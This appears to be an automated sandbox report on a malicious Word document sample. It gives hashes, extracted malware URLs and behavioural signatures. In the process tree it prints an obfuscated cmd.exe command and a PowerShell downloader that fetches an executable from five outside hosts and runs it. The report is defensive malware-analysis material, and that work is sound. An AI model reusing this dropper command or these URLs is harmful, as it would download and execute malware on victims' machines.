Analysis
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max time kernel
149s -
max time network
154s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
25-05-2024 17:11
Behavioral task
behavioral1
Sample
72abbface4c8cea179df95e9717cfde4_JaffaCakes118.doc
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
72abbface4c8cea179df95e9717cfde4_JaffaCakes118.doc
Resource
win10v2004-20240426-en
General
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Target
72abbface4c8cea179df95e9717cfde4_JaffaCakes118.doc
-
Size
203KB
-
MD5
72abbface4c8cea179df95e9717cfde4
-
SHA1
c358ec289edd6febf28edd2c518ba43055c78086
-
SHA256
f349dcd66a084e8b9b503b274d9128d22931497b78675b8e8ab424977db22275
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SHA512
653bd8f5e4c9d57b39545a7372f3273dbf573ce064ed4c450628f53402738cade128fafc0f8c79f011072edf9e20f9da9bbf3271f42b977ebc129bb3229f86f0
-
SSDEEP
3072:Xte2dw99fk3vIAWHWaaYuK5vE0B8FlgN2zU/Li0LZ:9Hdw7kwAWHWFK5TBmlgNfLFZ
Malware Config
Extracted
http://stalfond-n.ru/KDYGGWK
http://skladvysotka.ru/tbf6tn5r
http://tdov.ru/0KJ9f6g
http://doop.pl/Q3XAEGW7
http://tranz2000.net/del/4Wpsnr5sxD
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
CMd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 4844 3772 CMd.exe WINWORD.EXE -
Blocklisted process makes network request 5 IoCs
Processes:
powershell.exeflow pid process 28 944 powershell.exe 34 944 powershell.exe 39 944 powershell.exe 45 944 powershell.exe 47 944 powershell.exe -
An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
Processes:
CMd.exepid process 4844 CMd.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 3772 WINWORD.EXE 3772 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 944 powershell.exe 944 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 944 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
WINWORD.EXEpid process 3772 WINWORD.EXE 3772 WINWORD.EXE 3772 WINWORD.EXE 3772 WINWORD.EXE 3772 WINWORD.EXE 3772 WINWORD.EXE 3772 WINWORD.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
WINWORD.EXECMd.exedescription pid process target process PID 3772 wrote to memory of 4844 3772 WINWORD.EXE CMd.exe PID 3772 wrote to memory of 4844 3772 WINWORD.EXE CMd.exe PID 4844 wrote to memory of 944 4844 CMd.exe powershell.exe PID 4844 wrote to memory of 944 4844 CMd.exe powershell.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\72abbface4c8cea179df95e9717cfde4_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3772 -
C:\Windows\SYSTEM32\CMd.exeCMd /V/C"s^e^t +{^,^'=^519 ^93^1 ^35^1^ 1^53^ 1^59^ 1^09 ^093 ^1^05^ ^109 910 1^0^9^ ^301 ^3^01 13^9 ^35^1^ ^5^09 ^039 0^1^5}^5^03^}^13^5{5^31h^5^0^9c^319t5^9^0^a310c^309^}9^3^0^;10^5k903a^051^e905r^1^59^b^0^5^1^;13^0M^05^3^X^913^o0^15$^0^9^1 1^5^0^m035^e^015^t^9^01I9^03^-5^1^3^e1^30k^1^90o^3^9^5v^3^1^0n^9^0^3^I^593^;^150)^1^03M^5^3^9^X193^o^519^$5^0^3 5^3^0,^0^1^3^I5^1^9P^1^59P^1^59$3^19(^195^e^0^15l0^19i1^0^3^F9^0^3^d^1^5^9a91^0o^9^53l5^9^1n0^5^9w^53^9o159D^1^3^5.5^3^9Q^9^3^5C^31^0m^351$9^1^3^{310y3^0^1r^5^9^3^t310{^30^5)3^95P^193R5^09^L^593$^3^90^ 93^5n^0^19i1^0^3 5^13^I3^5^0P3^5^0^P^53^1^$105(^15^0^h903c^3^1^0a93^0e^53^9r039^o51^3^f^301^;3^1^0^'91^5e^190x0^1^5^e^1^30^.190'^50^9+^139^i019a^3^05^L^3^0^5^$^95^0+^01^5^'5^9^1\95^0'^395^+^53^0c9^1^5^i05^9^l^390^b^39^1u^09^5p^053^:531v^51^9n^3^0^5e1^05^$^9^0^1=095^M1^0^9X^3^1^5^o^9^50$^1^5^0^;^1^03'9^0^3^2^0^19^990^360^39^'^0^31 ^3^0^5^=^3^0^1 ^0^5^3^i^0^19^a^3^9^5^L0^1^5$0^3^9;3^10)^15^0'5^01@^39^5'^0^5^1(1^0^9t^1^53^i^3^59^l^9^51p^3^19S^0^3^1.^3^51'9^5^0D^159x0^9^3s13559^0^1r5^3^0n3^59^s^01^3p9^05W1^35^459^0/^503l^1^0^9e^31^9^d1^0^3/^1^3^5^t9^30e^0^35n0^1^3^.^5^03^0^305^0^90^10^19^323^05^z^5^91n^9^1^5a510r^35^9t^1^95/^0^39/9^0^1^:^10^9p0^9^3^t0^53t93^1h^5^0^3@51^3735^9W150G1^5^0E0^91^A^935X^053^3^9^1^0Q^95^1/^3^1^9l019^p9^5^0^.0^39^p^5^9^1^o50^9^o031d^3^1^0/1^59/^09^1:^91^5p510^t5^39t10^9h530^@^30^9^g93^1^690^1^f^03^59^90^5J0^1^9K91^500^1^5/^09^1u^19^3r^3^5^1.^9^01v^903^o390d^50^1t^01^9/^3^9^5/^0^5^1^:953p^903t^3^0^9^t509h^1^50^@9^0^1r^9^1^55^539n50^1^t^1^5^3^653^0f^0^9^3^b01^9t^39^5/^90^5u^059r93^1.0^53^a^1^35^k5^13^t^319o^0^15s3^5^0y^01^3v^30^5^d539^a30^5^l^01^3k^5^10s^5^0^3/^0^31/9^3^1^:0^31p^95^0^t^539^t53^1^h^5^13@^1^3^0^K^19^5^W0^1^5G1^0^3G^30^5^Y^3^15^D^5^9^1^K^5^3^1/19^0^u^0^9^3r^5^9^1.50^1n^190^-51^3^d^3^0^1n^3^0^5o1^05f3^5^1l^0^5^1^a5^9^0t9^35s^1^09/9^1^3/901:^0^39^p03^5t90^5^t90^1h^139^'^5^01^=^50^9P^9^50R91^0^L^35^1$1^50;^359t0^3^1n^35^1e03^9^i9^51^l3^91C9^0^3b^391e3^5^1^W^5^93^.3^1^0t0^91e15^9N^395 ^3^0^9t^93^0c190e^135j^13^0b^5^3^1^o^0^5^9^-310^w^5^3^0^e^3^9^0n35^0=0^9^3Q^19^3C03^9m^9^5^1^$1^03^ ^9^1^3l^1^93^l^3^50e^13^5^h^310^s^509r0^93^e^390^w^1^50^o0^93^p&&^f^or /^L %^Z ^in (^14^15^,^-4^,^3)^d^o se^t ^'^`^,=!^'^`^,!!+{^,^':~%^Z,1!&&^i^f %^Z=^=^3 c^al^l %^'^`^,:~^5%"2⤵
- Process spawned unexpected child process
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
PID:4844 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell $mCQ=new-object Net.WebClient;$LRP='http://stalfond-n.ru/KDYGGWK@http://skladvysotka.ru/tbf6tn5r@http://tdov.ru/0KJ9f6g@http://doop.pl/Q3XAEGW7@http://tranz2000.net/del/4Wpsnr5sxD'.Split('@');$Lai = '692';$oXM=$env:public+'\'+$Lai+'.exe';foreach($PPI in $LRP){try{$mCQ.DownloadFile($PPI, $oXM);Invoke-Item $oXM;break;}catch{}}3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:944
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
-
Filesize
245KB
MD5f883b260a8d67082ea895c14bf56dd56
SHA17954565c1f243d46ad3b1e2f1baf3281451fc14b
SHA256ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353
SHA512d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82